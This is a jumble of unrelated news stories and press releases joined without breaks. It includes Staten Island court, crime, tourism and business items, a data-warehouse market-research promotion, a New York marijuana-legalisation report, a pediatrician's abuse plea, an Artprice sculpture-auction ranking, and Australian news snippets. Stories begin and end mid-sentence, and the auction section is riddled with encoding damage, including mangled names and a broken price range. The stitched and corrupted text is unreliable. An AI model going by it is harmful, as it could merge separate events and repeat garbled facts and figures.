citys fast ferry system. He said the location would need to be to be located as close to the East Shore as possible and have sufficient space for 500 to 600 vehicles, or be close to a nearby site that could serve as a park and ride. He also said the site would also need to be readily accessible, so that commuters could get there with ease. FOLLOW SYDNEY KASHIWAGI ON TWITTER. STATEN ISLAND, N.Y. A Clifton man charged with swiping tools from The Home Depot insisted at a court conference last month he is mentally fit for trial. But a recent psychiatric exam found otherwise. James Christian has been deemed mentally incapable of standing trial. The determination, confirmed at a conference Wednesday in state Supreme Court, St. George, means Christian, 47, doesnt understand the charges against him and cant aid in his defense. Consequently, Justice Alexander Jeong ordered the defendant held in a secure psychiatric facility where he will receive treatment and be periodically evaluated. Christian will be returned to court to answer criminal charges against him if his condition improves. Sources said it is not uncommon for such individuals to be deemed mentally capable of standing trial after receiving appropriate medication. The charges against Christian stem from a Sept. 21 incident when he is accused of stealing tools valued at more than $1,500 from The Home Depot store on Targee Street in Concord. According to a criminal complaint, the defendant entered around 10 a.m. and left without paying for the items. Christian was arrested just over two weeks later on Oct. 8 based on an investigation, which included a review of surveillance photo and still-photo images, said the complaint. Thats me. I did it to make money for crack, the complaint quotes Christian as telling cops. I was doing this for drugs crack and Ecstasy and cocaine. The defendant is charged with grand larceny, stolen-property possession and petit larceny. Christian has denied the allegations. At his arraignment on Nov. 2, Christian took the unusual step of praising the judge. Youre doing a great job, Christian told Justice Stephen J. Rooney at the end of the proceeding. Rooney was presiding over the case then. Christian stood by his pronouncement even after several audience members chuckled in the courtroom. Why are you laughing? the defendant turned and asked as court officers escorted him to a side door toward a holding cell. Hes doing a great job. Christian was encouraged because the judge had listened when he insisted he didnt need to be examined by a psychologist and when he also complained about his housing while in custody. Im not 730 at all, Christian said, referring to the psychiatric exam courts can order defendants to undergo to determine their fitness to stand trial. I have a drug problem, Your Honor, said Christian. I told the officers that when they arrested me. Theres nothing wrong with me. Im not here to play games. However, a psychiatric exam was ordered at a subsequent conference on Nov. 16. Based on the results, doctors didnt agree with Christians psychological self-assessment and he is now being treated. Attorney Gregory C. Clarke represents Christian. Assistant District Attorney Arda Ozdinc is prosecuting the case. STATEN ISLAND, N.Y. -- Staten Island is leaving its label of The Forgotten Borough in the past and will now be known as the Unexpected Borough. Borough President James Oddos Office of Tourism and Cultural Affairs announced its new branding and website for VISIT Staten Island on Thursday, including the Unexpected Borough moniker. The new slogan and logo are displayed on the newly designed VISIT Staten Island website, created by native Staten Islander Tommy Raush, and ThoughtMatter, a Manhattan-based agency, designed the boroughs new brand. We worked successfully with all of our attractions to position Staten Island as a destination and ready us for an influx of tourists with the opening of the Empire Outlets this spring, Oddo said. Jennifer Sammartino, director of tourism and cultural affairs, said the rebranding is something Staten Islanders can be proud of. Staten Island, for a long time, we felt like that stepchild and we felt like we didnt quite belong and thats no longer the case. People are knocking down the door to understand who we are and what were doing, Sammartino said. Deputy Borough President Ed Burke said, Its so hard to come up with a word that people dont dismiss and that doesnt go in one ear and out the other; its perfect. Unexpected is the perfect word its positive and it invites you to learn more. CREATING A DESTINATION Oddos office partnered with the Staten Island Chamber of Commerce and Destination St. George to create a strategic plan for Staten Island as a destination, allowing it to receive a New York state grant to allocate funds for the marketing of the borough. The new website does more than list the boroughs restaurants, theatre groups, cultural institutions, parks, and small businesses -- which can be overwhelming for those who are unfamiliar with the borough. It suggests focused itineraries by category: Arts and culture, family fun, living history, just off the ferry, maritime enthusiast, the simple life, and three- and seven-day visits. This is a unique spot among the hustle and bustle of New York City. Weve been the best kept secret, and now our secret is out. Come for the free ferry ride and stay for our food, history, art, maritime lore, nature, and so much more, Sammartino said. Local photographers Michael McWeeney and Lance Rehas are front and center on the website, showcasing the boroughs beauty. This is just the beginning of whats happening for Staten Island. This is only going to grow and get better from here, Sammartino said. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. Enterprise Data Warehouse Market Overview An enterprise data warehouse is a unified database that holds all the business information an organization and makes it accessible all across the company. Although there are many interpretations of what makes an enterprise-class data warehouse, the following features are often included: A unified approach for organizing and representing data. The ability to classify data according to subject and give access according to those divisions. A normalized design a robust infrastructure with contingency plans to allow for business continuance, accessibility and a high level of security Scalability For IT companies, separating the analytical processes in a data warehouse from the operational processes in the production applications and transactions can enhance the performance of both areas. From a business perspective, a data warehouse platform can deliver a practical way to view the past without affecting the daily operations of the business. By querying and analysing data in the data warehouse, organizations can improve operations and enable more efficient business processes, thereby increasing revenue and raising profits. The prominent players in the Enterprise Data Warehouse Market are- health catalyst, seven technologies, teradata, cognilytics, tata consultancy services (tcs), fusion consulting, amitech, citius tech. Get Sample Report @ https://www.marketresearchfuture.com/sample_request/843 Enterprise Data Warehouse Market Segmentation: The Global Enterprise Data Warehouse Market can be segmented in to 4 key dynamics for the convenience of the report and enhanced understanding; Segmentation by Methods: Comprises information processing, analytical processing, data mining Segmentation by deployment: Comprises on-premise and on-cloud Segmentation by vertical: Comprises BFSI, IT and telecommunications, manufacturing, retail, government and many more. Segmentation by Regions: Comprises Geographical regions - North America, Europe, Asia Pacific and Rest of the World. Global Enterprise Data Warehouse Market - Regional Analysis North America is projected to be the dominant region for the market followed by Europe. Due to increased awareness regarding data management, enforcement of data governance, and also the increasing need for better management of data to establish relationships between different heterogeneous variables needed to frame the strategic policies of an organization. Asia Pacific is expected to be emerging region for the market. Browse Full Report @ https://www.marketresearchfuture.com/reports/enterprise-data-warehouse-market-843 Global Enterprise Data Warehouse Market - Competitive Analysis The Market of enterprise data ware house appears to be highly competitive. To maintain their market position and to drive the market growth, various dynamic and diversified international organizations, domestic organizations and as well as new entrants form a competitive landscape. Market leaders are innovating continuously and increasingly seeking market expansion through various strategic mergers and acquisitions, innovation, increasing investments in research and development and cost-effective product portfolio. Major players are investing on internal R&D and, most of all, in acquiring other firms. Prominent vendors of data ware house are targeting to invest more in technology and research and development activities to innovate their already existing products. The rising government funding is also expected to motivate key companies to invent new data ware house models that match the changing trends and needs across the globe. Report Overview: The report for Global Enterprise Data Warehouse Market of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report provides details information and strategies of the top key players in the industry. The report also gives a broad study of the different market segments and regions. About Market Research Future: At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services. Contact: Market Research Future Office No. 528, Amanora Chambers Magarpatta Road, Hadapsar, Pune - 411028 Maharashtra, India +1 646 845 9312 Email: sales@marketresearchfuture.com STATEN ISLAND, N.Y. -- Police are asking for the publics help finding a man missing from a Mariners Harbor adult home since Thursday. Ivan Newman, 84, suffers from dementia, and was last seen leaving the adult home at 2099 Forest Ave. around 1 p.m. using one crutch, according to a media release from the NYPDs Deputy Commissioner of Public Information. Police described Newman as a white male approximately 5 feet 7 inches, and 140 pounds. He was last seen wearing a black hooded sweatshirt and gray sweatpants. Newman has gone missing from the same location at least two other times since 2016, according to Advance records. Anyone with information in regard to this incident is asked to call the NYPDs Crime Stoppers Hotline at 1-800-577-TIPS (8477) or for Spanish, 1-888-57-PISTA (74782). The public can also submit their tips by logging onto the CrimeStoppers website at WWW.NYPDCRIMESTOPPERS.COM, on Twitter @NYPDTips or by texting their tips to 274637 (CRIMES) then entering TIP577. All calls are strictly confidential. CITY HALL -- New York City is now on board with legalizing recreational marijuana as the state readies to push for legal pot in 2019. The city released a report Wednesday night detailing recommendations on how the state should go about legalizing recreational marijuana while still giving localities control over taxing retail pot and licensing pot businesses. The report, put together by Mayor Bill de Blasios Task Force on Cannabis Legalization, comes just days after Gov. Andrew Cuomo (D) said he would push to legalize marijuana in New York in 2019. De Blasio called the states effort to legalize the drug in New York a once-in-a-generation opportunity officials needed to get right. EXPUNGE LOW LEVEL CONVICTIONS The report recommended things like automatically expunging low-level marijuana convictions and putting an age restriction on the legal sale and possession of pot to adults 21 and over. In the report, the city said it supports barring public and private employers from denying people employment if they test positive for pot or because of prior marijuana arrest convictions. The city also said it would seek the authority to issue permits and regulate licenses for in-home marijuana delivery services. It also called for local control over a giving out licenses for on-site consumption sites and flexibility to regulate the sites. A VERY BIG BUSINESS If the state legalizes marijuana, New York would join 10 other states and the District of Columbia which have legalized the drug. Experts say the move could generate more than $1.7 billion in sales annually in New York, with the tax revenues going toward key government programs like public health, education, and even the Metropolitan Transportation Authority. The task force which put together the report was coordinated through the Mayors Office of Criminal Justice. They spoke to a number of agencies including the New York City Police Department, the Economic Development Corporation, the Department of Small Business and more. Legal cannabis is coming to New York State. When it does, we must do all we can to make sure that happens in a way that is safe, takes the health of New York City residents into account, and above all, provides opportunity while righting historic wrongs, de Blasio said in the foreword to the report. LEGAL FAIRNESS The mayors report stressed that the new industry needed to be put together in a way that would level the playing field for small-community based businesses and not favor corporate conglomerates. It also highlighted the need for fairness around communities which have already been disproportionately affected by marijuana arrests. The report said those communities should not be criminalized any further. Last year, 86 percent of people arrested for low-level marijuana possession in the city were black and Hispanic, while less than 9 percent of those arrested were white, according to figures from the City Council. The city called for the creation of a state office that would coordinate statewide issues and regulations. It also said it would seek out the authority to set up an add-on local sales tax on the retail sale of pot and allocate tax revenue, licensing fees, and other sources of financing through the City general fund to support cannabis businesses and workers Over the summer, de Blasio and Police Commissioner James ONeill announced the NYPD would issue criminal summonses instead of arrests to people caught smoking pot in public. They said the shift in marijuana enforcement would reduce the overall number of pot arrests by about 10,000 per year. Before the release of the report, the mayor had avoided weighing in on the pot legalization debate, saying that legal pot could create issues similar those of the tobacco and big pharmaceutical industries. MCMAHON RAISES CONCERN OVER CITYS APPROACH, SAYS MORE PATROL WILL BE NEEDED OVER ROADS Amid the citys ongoing opioid epidemic, Island District Attorney Michael McMahon raised concern over the direction the city was going down as the state moves to legalize marijuana. Given where we are with the terrible opioid epidemic, I do not think we should be going down this path at this time," McMahon said. However, as it now seems inevitable, a comprehensive and thoughtful approach to legalization is preferable to the chaos and uncertainty of decriminalization. McMahon said that as the discussion around legalization move forward, law enforcement would need to remain vigilant in holding drivers under the influence of drugs accountable. To keep Island streets safe, he said he would advocate for more NYPD Drug Recognition Experts (DREs) in the borough. He also said he believed public burning should remain a crime and should be enforced to protect our quality of life. While it is important to bring fairness to our justice system, we must be careful not to let new policies endanger the communities we are sworn to protect, he said. In the meantime, local district attorneys have already started to dismisses prior marijuana convictions. In September, Manhattan District Attorney Cyrus Vance, Jr. dismissed 3,000 marijuana cases, dating back 40 years. Brooklyn District Attorney Eric Gonzalez, meanwhile, has set in motion a plan to dismiss up to 20,000 low-level pot convictions. However, rather than dismiss thousands of cases of prior marijuana convictions all at once, McMahon said he would continue to provide those with marijuana warrants a chance to clear their record through the Fresh Start program, which his office hosts on an annual basis. FOLLOW SYDNEY KASHIWAGI ON TWITTER. Nearly two decades after Pennsylvania state regulators let him off the hook, a former pediatrician admitted in court Thursday that he sexually assaulted 31 children, most of them patients. Dr. Johnnie Barto of Johnstown pleaded guilty to sexually abusing two family members and admitted to sexually assaulting more than two dozen patients. The abuse spanned decades and typically involved girls and boys between ages 8 and 12, prosecutors said. One of the victims was 2 weeks old. Barto molested children in the exam room at Laurel Pediatric Associates in Cambria County and at local hospitals, according to the Pennsylvania attorney general's office. Barto, 71, was arrested in January and charged with groping a 12-year-old girl during an office visit several weeks earlier. Suspecting she might not be alone, the attorney general's office put out a call for other accusers to come forward and they did, by the dozen, with claims going back to the late 1980s. "They came to their pediatrician seeking care. Instead they were victimized by a serial sexual abuser hiding in a doctor's coat," Attorney General Josh Shapiro said in a videotaped statement released after Barto's plea. Barto, whose medical license was suspended, remains behind bars pending his sentencing on multiple counts of aggravated indecent assault, child endangerment and other offenses. "What happened today was good for everybody, because without a public acknowledgement of wrongdoing, there would be no healing," said Barto's lawyer, David Weaver. "This way the healing could begin for his family, his victims and for himself." The Pennsylvania Board of Medicine had a chance to stop Barto nearly two decades ago, when he faced administrative charges that he sexually assaulted 4-year-old Lee Ann Berkebile and another young patient during office visits. But state regulators threw out the case and allowed him to keep practicing medicine, and Barto went on to molest more than a dozen more young patients, according to prosecutors. Berkebile, who is now 29, said Thursday she's gratified that Barto will be held accountable. "After 20-some years, I'm just glad it's finally over, and he can't do it again. He's a real sicko," she told The Associated Press. "He just makes me really disgusted." The AP does not typically identify people who say they are victims of sexual assault unless they grant permission, as Berkebile has done. STATEN ISLAND, N.Y. -- Police released the name of a 90-year-old pedestrian who died after a crash in Eltingville. Gerard T. Gorsuch, 90, of Midland Beach, died after he was struck on Wednesday at about 5:41 p.m. on the 4100 block of Richmond Avenue, according to an NYPD statement. The preliminary investigation by the NYPDs Highway Collision Investigation Squad indicated that Gorsuch was attempting to cross Richmond Avenue when he was struck by a red Ford Explorer that was traveling northwest bound on Richmond Avenue, according to the police statement. Upon arrival, officers found Gorsuch with trauma to the head and body. EMS transported him to Staten Island University Hospital in Princes Bay where he was pronounced dead, according to the police statement. Police told the Advance that the man had parked his car on Richmond Avenue and likely was on his way to a doctors appointment when the crash occurred. The driver of the Ford remained on scene. There are no arrests and the investigation continues, according to the police statement. STATEN ISLAND, N.Y. - A thief who plagued Staten Island businesses two years ago wont be in circulation for a while. Paris Williams, 29, was sentenced Wednesday to three to six years in prison under a plea agreement. Williams was busted in June of last year. Cops had been looking for him since his first alleged heist six months earlier on Dec. 2, 2016. The 121st Precinct had posted a wanted flier describing Williams as a perpetrator in three robberies. The NYPD also asked the public on social media for help locating the suspect. Crime Stoppers offered an award of up to $2,500. In the first incident, police said the defendant entered the Seven Star Variety store at 176 Port Richmond Ave. and simulated holding a gun inside a brown paper bag while demanding money. He struck again three days later on Dec. 5, 2016, said police. The defendant walked into a Boost Mobile store at 264 Port Richmond Ave. at 8 p.m., said police. As before, he simulated having a firearm inside a brown paper bag and demanded money, police said. The final holdup occurred five weeks later on Jan. 12, 2017, said police. The suspect approached a 24-year-old male employee at the MetroPCS at 1752 Hylan Blvd., Dongan Hills, at 7 p.m., displayed a handgun and demanded money, police said. The worker said he emptied the register and gave the thief about $800, the Advance reported. Last month, Williams pleaded guilty in state Supreme Court, St. George, to third-degree robbery in connection with the Dec. 5 holdup to satisfy all charges against him. Assistant District Attorney Michael Tannousis told the court that prosecutors offered the plea agreement because Williams has mental-health issues, which include bipolar disorder and schizophrenia. He was also admitted into a psychiatric facility in South Carolina after the incidents and before his arrest, the prosecutor said. In addition, Tannousis said the agreement was reached after speaking with the victims and reviewing the defendants medical records. Afterward, defense lawyer Leo V. Duval said the disposition was meticulously worked out, with prosecutors after a careful review of the defendants medical and psychiatric history. Duval said the plea and sentence were fair and equitable. He complimented the district attorneys office for being compassionate under the circumstances and giving great weight to the defendants mental condition at the time he committed these crimes. STATEN ISLAND, N.Y. -- Mark Herchenroder and Steven Galli -- friends since they attended Tottenville High School in the 1990s -- knew they would complement each other if they opened a business together. So some months after Galli -- a former restaurant owner -- opened The Bagel Shoppe on Clove Road in Grasmere last year, he brought in Herchenroder, who had worked at a bagel store in the past and possesses a talent for cooking up a bevy of food, like lasagna. Steve was in the restaurant business before so he knew what he was doing, and he knew I was good at cooking, said Herchenroder. He knows certain things about the business and I know other things about the business -- so we complement each other, he added. Herchenroder said he thrives on the fast pace of the deli business. My work ethic and culinary skills makes me a good fit for this business. I love the pace of a deli, he said. A DELI ON EVERY CORNER The pair admitted that while theres a deli on every corner on Staten Island, they feel their establishment stands out. I wanted to have a different deli. We have all home-baked goods. Our rainbow chocolate donuts are the best. And we bake our bagels fresh... They are hand-rolled from a guy in Brooklyn, said Herchenroder, noting they also sell homemade toaster pastries. Said Galli: Everything is made here. SPECALITY SANDWICHES Their specialty sandwich is the New York Strongest" hero, said Herchenroder. We do it for the Sanitation guys. Its hot roast beef with Peter Luger Sauce and fresh mozz [mozzarella] on a hero. The guys love it, he said. When you go to a deli, anybody can get ham and cheese. We make different and unique sandwiches, said Herchenroder. I named The Diane after my mother. Its her favorite sandwich -- turkey with gravy and fresh mozzarella," he added. SITE HISTORY While the Bagel Shoppe was formerly another bagel store, the site has a long history as a bar. It was Dinos for many years and later Kristys. The property has an outdoor area where Herchenroder hopes to host fundraisers to raise money for charity. I want to do a toy drive. And something for breast cancer awareness and heart disease, said Herchenroder. THE BAGEL SHOPPE AT A GLANCE Address: 1938 Clove Rd., Concord Facebook: https://www.facebook.com/pages/The-Bagel-Shoppe Instagram: https://www.instagram.com/bagelshoppeny/?hl=en New Businesses in Focus is a weekly column that relates the stories of new Staten Island businesses owners. If you have a new business on Staten Island, e-mail porpora@siadvance.com. MORE NEW BUSINESSES IN FOCUS COLUMNS: FOLLOW TRACEY PORPORA ON FACEBOOK and TWITTER To continue, please log in, or sign up for a new account. We offer one free story view per month. If you register for an account, you will get two additional story views. After those three total views, we ask that you support us with a subscription. A subscription to our digital content is so much more than just access to our valuable content. It means youre helping to support a local community institution that has, from its very start, supported the betterment of our society. Thank you very much! PARIS, December 19, 2018 /PRNewswire/ -- Artprice offers you an auction ranking that brings to light some of the Art Market's primary trends. This week, Artprice and thierry Ehrmann (sculptor plastician) take another look at the best auction results for three-dimensional artworks in 2018 The year's best global auction results for three-dimensional artworks have - above all - rewarded 20th century French artists: Giacometti's works have elicited five new results above the $10 million threshold; Rodin signed his fourth best-ever auction result with Baiser, moyen modAle dit Taille de la Porte (1890); Matisse's Nu allongA I (Aurore) (1907) elicited his second best-ever result and a piece by Constantin Brancusi attracted his highest-ever auction result. Only one Contemporary artist competes with these historical figuresa Jeff Koons (notwithstanding the current dip in his market). A A A A (Logo: https://mma.prnewswire.com/media/644091/Artprice_Logo.jpg ) A A A A (Photo: https://mma.prnewswire.com/media/800743/Artprice_Vanitas_9.jpg ) Rank - 1.A Artist - ConstantinA BRANCUSI (1876-1957). HammerA Price ($) - 71A 000A 000. Artwork - LaA jeuneA fille sophistiquAeA (Portrait deA NancyA Cunard). Sale - 2018-05-15A -A Christie'sA New York Rank - 2.A Artist - JeffA KOONSA (1955). HammerA Price ($) - 22A 812A 500. Artwork - Play-Doh. Sale - 2018-05-17A - Christie'sA New YorkA Rank - 3.A Artist - HenriA MATISSE, (1869-1954). HammerA Price ($) -A 20A 528A 006. Artwork -A NuA allongAA IA (Aurore). Sale -A 2018-03-08A - PhillipsA LondonA Rank - 4.A Artist - AlexanderA CALDER (1898-1976). HammerA Price ($) - 17A 975A 000. Artwork - 21 FeuillesA Blanches. Sale - 2018-11-15A - Christie'sA New York Rank - 5.A Artist - AlbertoA GIACOMETTI (1901-1966). HammerA Price ($) - 17A 187A 500. Artwork - LeA Chat. Sale - 2018-11-11A - Christie'sA New YorkA RankA - 6.A Artist - AlbertoA GIACOMETTI (1901-1966). HammerA Price ($) - 16A 647A 567. Artwork - LeA Chat. Sale - 2018-06-19A - Sotheby'sA London Rank - 7.A Artist - AugusteA RODINA (1840-1917). HammerA Price ($) - 16A 634A 673. Artwork - Baiser,A moyenA modAle ditA TailleA deA laA Porte. Sale - 2018-06-20A - Christie'sA LondonA Rank - 8.A Artist - AlbertoA GIACOMETTI (1901-1966). HammerA Price ($) - 15A 781A 250. Artwork - LaA ClairiAre. Sale - 2018-05-15A - Christie'sA New YorkA Rank - 9.A Artist - AlbertoA GIACOMETTI (1901-1966). HammerA Price ($) - 13A 812A 500. Artwork - FemmeA assise. Sale - 2018-11-11A - Christie'sA New York Rank - 10. Artist - AlbertoA GIACOMETTI (1901-1966). HammerA Price ($) -A 10A 482A 303. Artwork - LustreA avecA femme, hommeA etA oisera. Sale - 2018-02-28A -A Sotheby'sA London copyrightA (c)A 2018A artprice.com A A A A A A A A A A A A new world record for BrancusiA Fetching $71 million, the year's most expensive sculpture represents a veritable milestone in 20th century art history. A unique work that has defied time for 90 years, Brancusi's La jeune fille sophistiquAe (Portrait de Nancy Cunard) is a beautifully polished gilded bronze on a white marble base, created in 1928. Its precious metal finish with dynamic and contrasting shapes characterise Nancy Cunard, a political activist and editor who advocated racial equality and civic rights in the United States. In Europe, she was close to the Dada movement and the Surrealists and she was a muse for Louis Aragon, James Joyce and a number of other artists and intellectuals. La jeune fille sophistiquAe sold last May at Christie's New York, setting a new auction record for Brancusi, way beyond his previous record in May 2017 for his famous Muse endormie (1913). The price progression of the latter work over the last decade reflects a strong revaluation of Brancusi's masterpieces: fetching $6.6m in 1997, it was estimated $25 - 35 million in 2017 and sold for $57.3 million after a superb bidding battle lasting nearly ten minutes. With opportunities being so rare on this emblematic figure of Modern sculpture, his best works fetch significantly more than their pre-sale estimates. Alberto Giacometti has five results in the Top 10A With five of the top 10 results of the year, Alberto Giacometti dominates the high-end sculpture market. Like Picasso and Warhol, his works are among the most coveted on the planet. Giacometti is also one of the few artists whose works have crossed the $100 million threshold since the sale of L'homme qui marche I in 2010 ($103.6 million at Sotheby's) and L'homme au doigt in 2015 ($141.2 million at Christie's). A closer look at the rapid re-sales on his market suggests the euphoria of 2010 (year of his first 9-digit result) has somewhat receded. In 2010 his Le Chat (3/8) - one of his most famous bronze sculptures - fetched $20.8 million. In June this year the same piece fetched four million dollars less after being bought in against an estimate of 20 to 3! 0 million dollars in May (at Sotheby's). However this substantial discount probably reflects a calming of the market more than disaffection for the artist's work; Giacometti has already proved himself on the market and the need for big results is less 'urgent'. Despite the absence of dazzling results this year, demand is particularly strong for this key signature: Giacometti remains one of the most sought-after artists on the market with a particularly low unsold rate (18%). He holds the 14th place in Artprice's provisional global ranking of artists by annual auction turnover for 2018 with a total of just over $100 million. Just one Contemporary artistA Jeff Koons owes his presence in this ranking to the $22.8 million (incl. fees) Christie's hammered last May for his 3-metre polychrome aluminum sculpture Play-Doh (1994-2014) representing a pile of modeling pasta. The work had never been auctioned before and generated one of the Prince of Kitsch's top 10 results. This striking result somewhat mitigates a general under-performance: Koons' annual turnover is $32.4 million versus $89 million 10 years ago, and his price index has dropped 27 points over the year. The reasona a sharp slowdown in the offer of his high-end works coupled with a dilution effect on his mid and low-end market due to a profusion of multiple works. Copyright A2018 thierry Ehrmann - A http://www.artprice.com About the Artron Group:A According to the Artron Group and its founder-Chairman Mr. Wan Jie "After 9 years of cooperation, Artron and Artprice have optimised their cooperation regarding the Chinese and Western art markets. The founders and Chairmen of both companies, Mr. Wan Jie and Mr. Thierry Ehrmann, with their enthusiasm for art, will create a Silk Road linking the Chinese and Western art markets on the principle of respect and mutual cooperation. The two groups will build a global, diversified and professional exchange platform in the Art Market, which will ultimately promote the sustainable development of the Global Art Market. Artron's Web: Artron.net About Artprice:A Founded by thierry Ehrmann (see Who's who certified Biography ) (c)A https://imgpublic.artprice.com/img/wp/sites/11/2018/10/bio-2019-whos-who-thierry-ehrmann.pdfA ). Artprice is listed on the Eurolist by Euronext Paris, SRD long only and Euroclear: 7478 - Bloomberg: PRC - Reuters: ARTF. Dicover Artprice in video:A https://www.artprice.com/video Artprice is the global leader in art price and art index databanks. It has over 30 million indices and auction results covering more than 700,000 artists. Artprice ImagesA gives unlimited access to the largest Art Market resource in the world: a library of 126 million images or prints of artworks from the year 1700 to the present day, along with comments by Artprice's art historians. 12 Oct. 2018: Artprice and Artron have just created an "Art Media Mogul": Video: https://vimeo.com/296010836 Artprice permanently enriches its databanks with information from 6,300 auctioneers and it publishes a constant flow of art market trends for the world's principal news agencies and approximately 7,200 international press publications. For its 4,500,000 members, Artprice gives access to the world's leading Standardised Marketplace for buying and selling art. Artprice is preparing its blockchain for the Art Market. It is BPI-labelled (scientific national French label)Artprice's Global Art Market Annual Report for 2017 published last March 2018:A https://www.artprice.com/artprice-reports/the-art-market-in-2017 Artprice's Contemporary Art Market Annual Report for 2017 - free access at:A https://www.artprice.com/artprice-reports/the-contemporary-art-market-report-2017 Artprice's press releases: http://serveur.serveur.com/Press_Release/pressreleaseen.htm https://twitter.com/artpricedotcom Artmarket News: https://twitter.com/artpricedotcomA &A https://twitter.com/artmarketdotcom https://www.facebook.com/artpricedotcomA &A https://plus.google.com/+artpricedotcom/posts http://artmarketinsight.wordpress.com/ Discover the Alchemy and the universe of ArtpriceA http://web.artprice.com/video, which headquarters are the famous Museum of Contemporary Art, the Abode of Chaos: http://goo.gl/zJssd https://vimeo.com/124643720 The Contemporary Art Museum The Abode of Chaos on Facebook:A https://www.facebook.com/la.demeure.du.chaos.theabodeofchaos999 Contact:A thierry Ehrmann, ir@artprice.com Why is #MeToo playing out so differently in Australia? In the US, the wave of women speaking out about sexual harassment and assault in the workplace has led so far to the downfall of more than 200 public figures including entertainment moguls, politicians, journalists and actors. Here, it's descended into a morass of lawsuits. Protesters at the Women's March in Seattle earlier this year: The #MeToo movement is playing out very differently in Australia. Credit:AP One-time "Neighbours" actor Craig McLachlan is seeking $6.5 million in damages from Fairfax Media and the ABC after they published allegations he'd bullied and sexually harassed a woman working on a 2014 production of "The Rocky Horror Show." NSW Opposition Leader Luke Foley resigned last month after an ABC reporter said he'd groped her during a 2016 event. At the same time, he announced he was taking advice on defamation proceedings, though he subsequently decided not to move forward. When Sebastian* started high school at one of NSW's top selective schools, he had no idea the inner-Sydney campus would make him physically sick. Now 14, he started year 7 at Fort Street High School in Petersham in 2017, but his mother Nicole Melanson said he soon fell ill. "He was sick for the entire winter," she said. "He'd come home from school at 3-something and go to bed." Sebastian is changing schools because of mould at Fort Street selective school in Petersham. She said the family told the school when Sebastian enrolled that he was sensitive to mould, but they were not made aware of the condition of the school's buildings. Is Melbourne about to have another frankenfood moment? I only ask because of this, the so-called Tradie Slammer at new city venue Wonderpop. The Tradie Slammer burger. Its a meat pie wedged inside a brioche bun, and its the creation of Raymond Capaldi. Chef Capaldi says he was inspired by something he ate when he was a hungry, poor young chef in London, when he apparently would fuel up on a mince pie inside a bun. But what has possessed a chef that he would jam a pie inside a sweet hamburger bun and slather it in onion jam? What is he really trying to say? A Canberra technology company will deliver eye-tracking capability to a flight simulator at a "major" Australian airline that will improve pilots' skills across different aircraft. Seeing Machines, which is listed on the London Stock Exchange but based in Canberra, develops systems that track the eye movement of equipment operators to identify and prevent fatigue, with applications in the mining, automotive and now aviation sectors. The L3 Technologies full flight simulator, which will be operational from June 2019, will include Seeing Machines' technology to monitor the eye movement, attention and sight direction of pilots training to fly the new Boeing 787. An announcement from the airline is expected in about six months. Supermodel businesswoman Elle Macpherson has been accused of betraying a "close friend" who alleges The Body and a number of other wealthy investors deliberately cut her out of the booming supplements and wellness company she established. WelleCo founder Andrea Horwood has commenced legal proceedings against Ms Macpherson and another businessman, former Navitas chief executive Rod Jones, claiming they reneged on a deal to allow her to purchase a larger stake in the company instead selling the promised shares elsewhere. Elle Macpherson. Credit:Wolter Peeters Ms Horwood, who founded the Invisible Zinc brand of sunscreen before starting WelleCo, was sacked as the company's chief executive last month and is pursuing separate legal action for wrongful dismissal. But in this case, she claims Ms Macpherson was motivated by her own financial situation following a marriage split, and was unhappy she had been stood down from marketing the brand in the United States due to a controversial new relationship. Could it be true is ASIC boss James Shipton about to move his corporate coppers onto the lawns of defunct food delivery app Foodora? It would be about time. The Berlin-based tech company's local offshoot, which hit the wall in August, left behind a single board member, 23-year-old accountant Lisa Bushnell who until recently still lived in her parents' house in suburban Belrose. Illustration: John Shakespeare Credit: Having appointed administer Simon Cathro of Worrells Solvency, Foodora was in an almighty tax fight after being forced to classify its cyclists as employees, not contractors. That was the handiwork of former Transport Workers Union boss Tony Sheldon, now on Labors Senate ticket for the coming election. One week after she walked out of an allegedly violent relationship, Bec Horton woke in the middle of the night to find her former partner in the bathroom of her new flat, where her severely disabled son was lying face down in the bath. Charlie Younes was calling for help, raising the alarm that the 18-year-old boy had drowned in the bathtub. But by the time emergency services arrived it would be too late. Steven Copo-Horton, pictured here at the age of 10. Now, more than five years on, Mr Younes has been charged with the murder of his former stepson 18-year-old Steven Copo-Horton, accused of deliberately drowning the disabled boy in his western Sydney home in the early hours of October 28, 2013. The date marks the end of a short but happy life for the young man who lived with Angelman syndrome, an intellectual syndrome that left him without speech, wheelchair-bound and without the ability to stand, but always with a smile and happy, loving demeanour. Air-safety investigators are turning their attention to the medical condition of the pilot of a seaplane carrying British holidaymakers that crashed into a bay north of Sydney on New Year's Eve. They have spent the past year trying to work out why the seaplane failed to follow a standard flight path moments after taking off from Cottage Point on a return trip to Sydney's Rose Bay. Minutes after take off, it crashed in "near-vertical position" into Jerusalem Bay next to the Hawkesbury River. The Sydney seaplane crash into Jerusalem Bay claimed the lives of (top row) pilot Gareth Morgan, Emma Bowden, her daughter Heather, (bottom row) British chief executive Richard Cousins and his sons Edward and William. While an interim factual report released on Thursday provides few clues to the central question, it does plot the seaplane's actual flight path after investigators salvaged a digital camera belonging to a passenger who had been sitting beside the pilot, and received photographs from eyewitnesses. The passenger had taken 22 photographs through the front and right-side windows as the plane taxied and took off from Cottage Point. Businesses have urged the state government to fast-track the second stage of the multibillion-dollar Parramatta light rail line to Sydney Olympic Park, fearing it will be delayed. The pleadings come as Transport Minister Andrew Constance says businesses and residents along the route of the first stage of the new line through Parramatta will be spared major disruptions which have plagued construction of a $2.1 billion light rail line in central Sydney. Major work on the first stage from Westmead to Carlingford via Parramatta's CBD which will cost $2.4 billion will start next year, after the government awarded two major contracts. Construction will start next year on the first stage of Parramatta's light rail line. It prompted businesses to urge the government to release the business case and concrete timelines for the building of the second stage of the light rail line linking Parramatta to Olympic Park via Rydalmere, Melrose Park and Wentworth Point. A retired pensioner who has been living "off the radar" will remain behind bars after being accused of a series of bank robberies across Sydney some 40 years ago. Ross Oliver McCarty was arrested on Thursday at a unit block in Edgecliff in the city's eastern suburbs following a renewed investigation into the heists. A 69-year-old man is arrested at Edgecliff over a series of historical armed robberies across Sydney. Credit:Police Media The 69-year-old was charged with eight counts of robbery. It's alleged he 